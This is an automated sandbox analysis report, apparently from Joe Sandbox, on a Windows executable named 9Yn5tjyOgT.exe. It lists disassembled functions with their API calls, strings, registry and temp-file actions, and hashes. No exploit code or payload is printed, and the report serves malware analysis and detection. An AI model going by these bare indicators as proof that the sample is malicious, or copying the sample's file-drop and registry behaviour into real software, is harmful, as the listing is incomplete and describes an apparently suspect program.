Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: 40aa1e09304642b089aa1993992f232c43871fa513f82abce0c0f0efb2bd037b
Instruction ID: 07f60acf873a648e61080255fd3e200204736070213a9ab7c1209ab7057fe03e
Opcode Fuzzy Hash: 40aa1e09304642b089aa1993992f232c43871fa513f82abce0c0f0efb2bd037b
Instruction Fuzzy Hash: 27F0FC70540219AECB10AB68ED0DFAB366CA700304F10447AA64AF20D1EB789A24C798

Function 0040591F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNELBASE(?,?,00000000), ref: 00405962
GetLastError.KERNEL32 ref: 00405976
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 0040598B
GetLastError.KERNEL32 ref: 00405995

Strings

C:\Users\user\Desktop, xrefs: 0040591F

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: C:\Users\user\Desktop
API String ID: 3449924974-3125694417
Opcode ID: c15d26eb0fd7dc0754592b558b3576eabd9f17effa54cf70e09af9e442894ad1
Instruction ID: ca5323325ecea66cc3de0aafa4d6cbc44a00468c8660a14113972894dcb98988
Opcode Fuzzy Hash: c15d26eb0fd7dc0754592b558b3576eabd9f17effa54cf70e09af9e442894ad1
Instruction Fuzzy Hash: 970108B1C10219DADF009FA5C944BEFBFB4EB14314F00403AE544B6290DB789608CFA9

Function 00405F0D Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405F2B
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,"C:\Users\user\Desktop\9Yn5tjyOgT.exe",004034A3,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,76233420,004036EF), ref: 00405F46

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405F12, 00405F16
"C:\Users\user\Desktop\9Yn5tjyOgT.exe", xrefs: 00405F0D
nsa, xrefs: 00405F1A

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: "C:\Users\user\Desktop\9Yn5tjyOgT.exe"$C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-1122705673
Opcode ID: 0c62091ad8b50aef506abc269e58e4a43f33256201187c1c154fac6de66d8f01
Instruction ID: 076564571966e4dc9ef4834731be4d502634ae0aeddccfca5b4533d1bab5a213
Opcode Fuzzy Hash: 0c62091ad8b50aef506abc269e58e4a43f33256201187c1c154fac6de66d8f01
Instruction Fuzzy Hash: 14F09076601204FFEB009F59ED05E9BB7A8EB95750F10803AEE00F7250E6B49A548B68

Function 738E1777 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 738E1B5F: GlobalFree.KERNEL32(?), ref: 738E1DB2
Part of subcall function 738E1B5F: GlobalFree.KERNEL32(?), ref: 738E1DB7
Part of subcall function 738E1B5F: GlobalFree.KERNEL32(?), ref: 738E1DBC

GlobalFree.KERNEL32(00000000), ref: 738E1825
FreeLibrary.KERNEL32(?), ref: 738E18AB
GlobalFree.KERNEL32(00000000), ref: 738E18D0

Part of subcall function 738E2352: GlobalAlloc.KERNEL32(00000040,?), ref: 738E2383

Part of subcall function 738E2724: GlobalAlloc.KERNEL32(00000040,00000000,?,?,00000000,?,?,?,738E17F6,00000000), ref: 738E27F4

Part of subcall function 738E15C6: wsprintfW.USER32 ref: 738E15F4

Strings

, xrefs: 738E18B1

Memory Dump Source

Source File: 00000000.00000002.2811879470.00000000738E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 738E0000, based on PE: true

Associated: 00000000.00000002.2811849731.00000000738E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2811957570.00000000738E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2812015914.00000000738E6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_738e0000_9Yn5tjyOgT.jbxd

Similarity

API ID: Global$Free$Alloc$Librarywsprintf
String ID:
API String ID: 3962662361-3916222277
Opcode ID: 68b81496ae38aeb72d30f2c46e0b5671020c2e9870da3128ca4e4db22c652b14
Instruction ID: 3925fa4aa08fe38d1bc1a20997c77d2194638680e963f52dbfcf5506fbeb0f60
Opcode Fuzzy Hash: 68b81496ae38aeb72d30f2c46e0b5671020c2e9870da3128ca4e4db22c652b14
Instruction Fuzzy Hash: 9241C4B25803189BEB11AFF4D985B8537AEBB07311F1885B9FD1B9A1C6DB78C084C760

Function 004023E4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nsr3ABB.tmp,00000023,00000011,00000002), ref: 0040242F
RegSetValueExW.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsr3ABB.tmp,00000000,00000011,00000002), ref: 0040246F
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsr3ABB.tmp,00000000,00000011,00000002), ref: 00402557

Strings

C:\Users\user\AppData\Local\Temp\nsr3ABB.tmp, xrefs: 00402420, 0040242E, 00402445, 00402459, 00402464

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: CloseValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsr3ABB.tmp
API String ID: 2655323295-176820986
Opcode ID: 73e16f22230fec4bb41596bf14ea3730359cb40e1001d342c6dd81160fbf5f59
Instruction ID: 2320c74fc41ffeb716861e397aa06506e2c1d49fdd3331f7b5a779c93e7e4390
Opcode Fuzzy Hash: 73e16f22230fec4bb41596bf14ea3730359cb40e1001d342c6dd81160fbf5f59
Instruction Fuzzy Hash: C4118471E00104BEEB10AFA5DE89EAEBB74EB44754F11803BF504B71D1DBB89D419B68

Function 00402D44 Relevance: 6.1, APIs: 4, Instructions: 63
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402DA9
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DB2
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DD3

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: Close$Enum
String ID:
API String ID: 464197530-0
Opcode ID: 1fd681a58c600dee98d7f7e5161f1cc79c94fe5fc9469311f060f0f5731105c3
Instruction ID: 3410daaf41eb2a8de7896e1fb7aa518538b3e031ab7f3cb45a1fbd23233d04dd
Opcode Fuzzy Hash: 1fd681a58c600dee98d7f7e5161f1cc79c94fe5fc9469311f060f0f5731105c3
Instruction Fuzzy Hash: CE116A32500108FBDF12AB90CE09FEE7B7DAF44350F100076B905B61E0E7B59E21AB58

Function 004015C1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 00405D68: CharNextW.USER32(?,?,00425F30,?,00405DDC,00425F30,00425F30,?,?,76232EE0,00405B1A,?,C:\Users\user\AppData\Local\Temp\,76232EE0,00000000), ref: 00405D76
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D7B
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D93

GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 0040161A

Part of subcall function 0040591F: CreateDirectoryW.KERNELBASE(?,?,00000000), ref: 00405962

SetCurrentDirectoryW.KERNELBASE(?,C:\Users\user\AppData\Local\Iw\Vehefte190,?,00000000,000000F0), ref: 0040164D

Strings

C:\Users\user\AppData\Local\Iw\Vehefte190, xrefs: 00401640

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID: C:\Users\user\AppData\Local\Iw\Vehefte190
API String ID: 1892508949-1534214271
Opcode ID: c670449cb20163be3cb3cb34affd8c81282aa0e3ca4a40f31796d9e50139b1da
Instruction ID: 0139da5d792eeb989572d84d187c25f91b4f70b2bd1842bf542401118de2a59f
Opcode Fuzzy Hash: c670449cb20163be3cb3cb34affd8c81282aa0e3ca4a40f31796d9e50139b1da
Instruction Fuzzy Hash: 0511E631504511EBCF30AFA4CD4159F36A0EF15329B29453BFA45B22F1DB3E49419B5D

Function 004053C4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 004053F3
CallWindowProcW.USER32(?,?,?,?), ref: 00405444

Part of subcall function 004043AB: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 004043BD

Strings

, xrefs: 004053D4

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 36caebe1fe8aa1eff7ff321662443c514d6827d4f2801b7b393fcb4226acda68
Instruction ID: 343f6187318c33bb175646012d6cb398530476c6c15fe8dd96994d534b9a6b17
Opcode Fuzzy Hash: 36caebe1fe8aa1eff7ff321662443c514d6827d4f2801b7b393fcb4226acda68
Instruction Fuzzy Hash: CC0171B1200609ABDF305F11DD84B9B3666EBD4356F508037FA00761E1C77A8DD29A6E

Function 004062B6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000800,00000002,00422708,00000000,?,?,Call,?,?,0040652A,80000002), ref: 004062FC
RegCloseKey.ADVAPI32(?,?,0040652A,80000002,Software\Microsoft\Windows\CurrentVersion,Call,Call,Call,00000000,00422708), ref: 00406307

Strings

Call, xrefs: 004062BD

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: CloseQueryValue
String ID: Call
API String ID: 3356406503-1824292864
Opcode ID: c86c14991d827863ed80974af0b6eb11eee99485bcf286d774b2a77da772c934
Instruction ID: efe3e51cb47fe95fa6bbb83f3cb46ebf457b8c4b35673ac5825ceff03b23bf8b
Opcode Fuzzy Hash: c86c14991d827863ed80974af0b6eb11eee99485bcf286d774b2a77da772c934
Instruction Fuzzy Hash: B301717250020AEBDF218F55CD09EDB3FA9EF55354F114039FD15A2150E778D964CBA4

Function 00406F27 Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db40346bc9fd20083a39152eff8b5ac78f5cdc0ebc59631a5c9ad52422038ace
Instruction ID: 2bd06e12bed6e0bcd81d630d0cd78bd49004ac77cb8b5ebb757de7108a839e92
Opcode Fuzzy Hash: db40346bc9fd20083a39152eff8b5ac78f5cdc0ebc59631a5c9ad52422038ace
Instruction Fuzzy Hash: 1DA14471E04228CBDF28CFA8C8446ADBBB1FF44305F14806ED856BB281D7786A86DF45

Function 00407128 Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d32937a43efcd2dea5d1fc698e3fcc0023127280f8acdc5c544d8c7d1790a46
Instruction ID: f1da02a2f8b93330a3d469e31e6e9edf047fa596270f1f1d86c95cc791e20b04
Opcode Fuzzy Hash: 9d32937a43efcd2dea5d1fc698e3fcc0023127280f8acdc5c544d8c7d1790a46
Instruction Fuzzy Hash: AA910271E04228CBEF28CF98C8447ADBBB1FB45305F14816AD856BB291C778A986DF45

Function 00406E3E Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67d6f810e310069c411d265ffcddf6abea8090fb20e8d2db1667143610fe5bd5
Instruction ID: fb1d02f26201205f5bfcbd3029eb7cfad7cca69a3f8c46de7b35964bdd0c3f7d
Opcode Fuzzy Hash: 67d6f810e310069c411d265ffcddf6abea8090fb20e8d2db1667143610fe5bd5
Instruction Fuzzy Hash: 18814571E04228DFDF24CFA8C844BADBBB1FB45305F24816AD856BB291C7389986DF45

Function 00406943 Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5328a0701a0a32b67c374057837e60552721ea1a6811a44abe83e42546375677
Instruction ID: 55fc176551b00f8465723d30588461dcf2fc1d3195b414c524ee7a2fcbdbe87b
Opcode Fuzzy Hash: 5328a0701a0a32b67c374057837e60552721ea1a6811a44abe83e42546375677
Instruction Fuzzy Hash: 39815971E04228DBEF24CFA8C844BADBBB1FB45305F14816AD856BB2C1C7786986DF45

Function 00406D91 Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a445a859154d96951751bba7131c1a69e0b73c0895ac35a4e96b2d7ee743491b
Instruction ID: 7645ab34ef40ba223d211dbe726f8302725d3f31b3e808d93cc70016d3e0d248
Opcode Fuzzy Hash: a445a859154d96951751bba7131c1a69e0b73c0895ac35a4e96b2d7ee743491b
Instruction Fuzzy Hash: 10711471E04228DBDF24CF98C8447ADBBB1FF49305F15806AD856BB281C7389A86DF45

Function 00406EAF Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd7d90a79d0f10410712768d5bba8e0713d9e8f593557aa9bf16db43d4616d0f
Instruction ID: a4e19b7408f2815589132e7e2b866ae2b9c8caa40868d81b8a4623295251dea3
Opcode Fuzzy Hash: cd7d90a79d0f10410712768d5bba8e0713d9e8f593557aa9bf16db43d4616d0f
Instruction Fuzzy Hash: 0D712571E04218DBEF28CF98C844BADBBB1FF45305F15806AD856BB281C7389986DF45

Function 00406DFB Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08b8d2b65a0c1c30b5e83c7ea62cdb0658c0fab8542c410d93f606ef21acc8e7
Instruction ID: 979076adb26e5f1e3e7a9458f232081f51f9a0722543042d1d726f4d31452a21
Opcode Fuzzy Hash: 08b8d2b65a0c1c30b5e83c7ea62cdb0658c0fab8542c410d93f606ef21acc8e7
Instruction Fuzzy Hash: 50714871E04228DBEF28CF98C8447ADBBB1FF45305F15806AD856BB281C7386A46DF45

Function 004032DE Relevance: 4.6, APIs: 3, Instructions: 101COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 004032F2

Part of subcall function 0040345D: SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040315B,?), ref: 0040346B

SetFilePointer.KERNELBASE(00000000,00000000,?,00000000,00403208,00000004,00000000,00000000,?,?,00403182,000000FF,00000000,00000000,0040A230,?), ref: 00403325
SetFilePointer.KERNELBASE(001654D9,00000000,00000000,00414ED0,00004000,?,00000000,00403208,00000004,00000000,00000000,?,?,00403182,000000FF,00000000), ref: 00403420

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
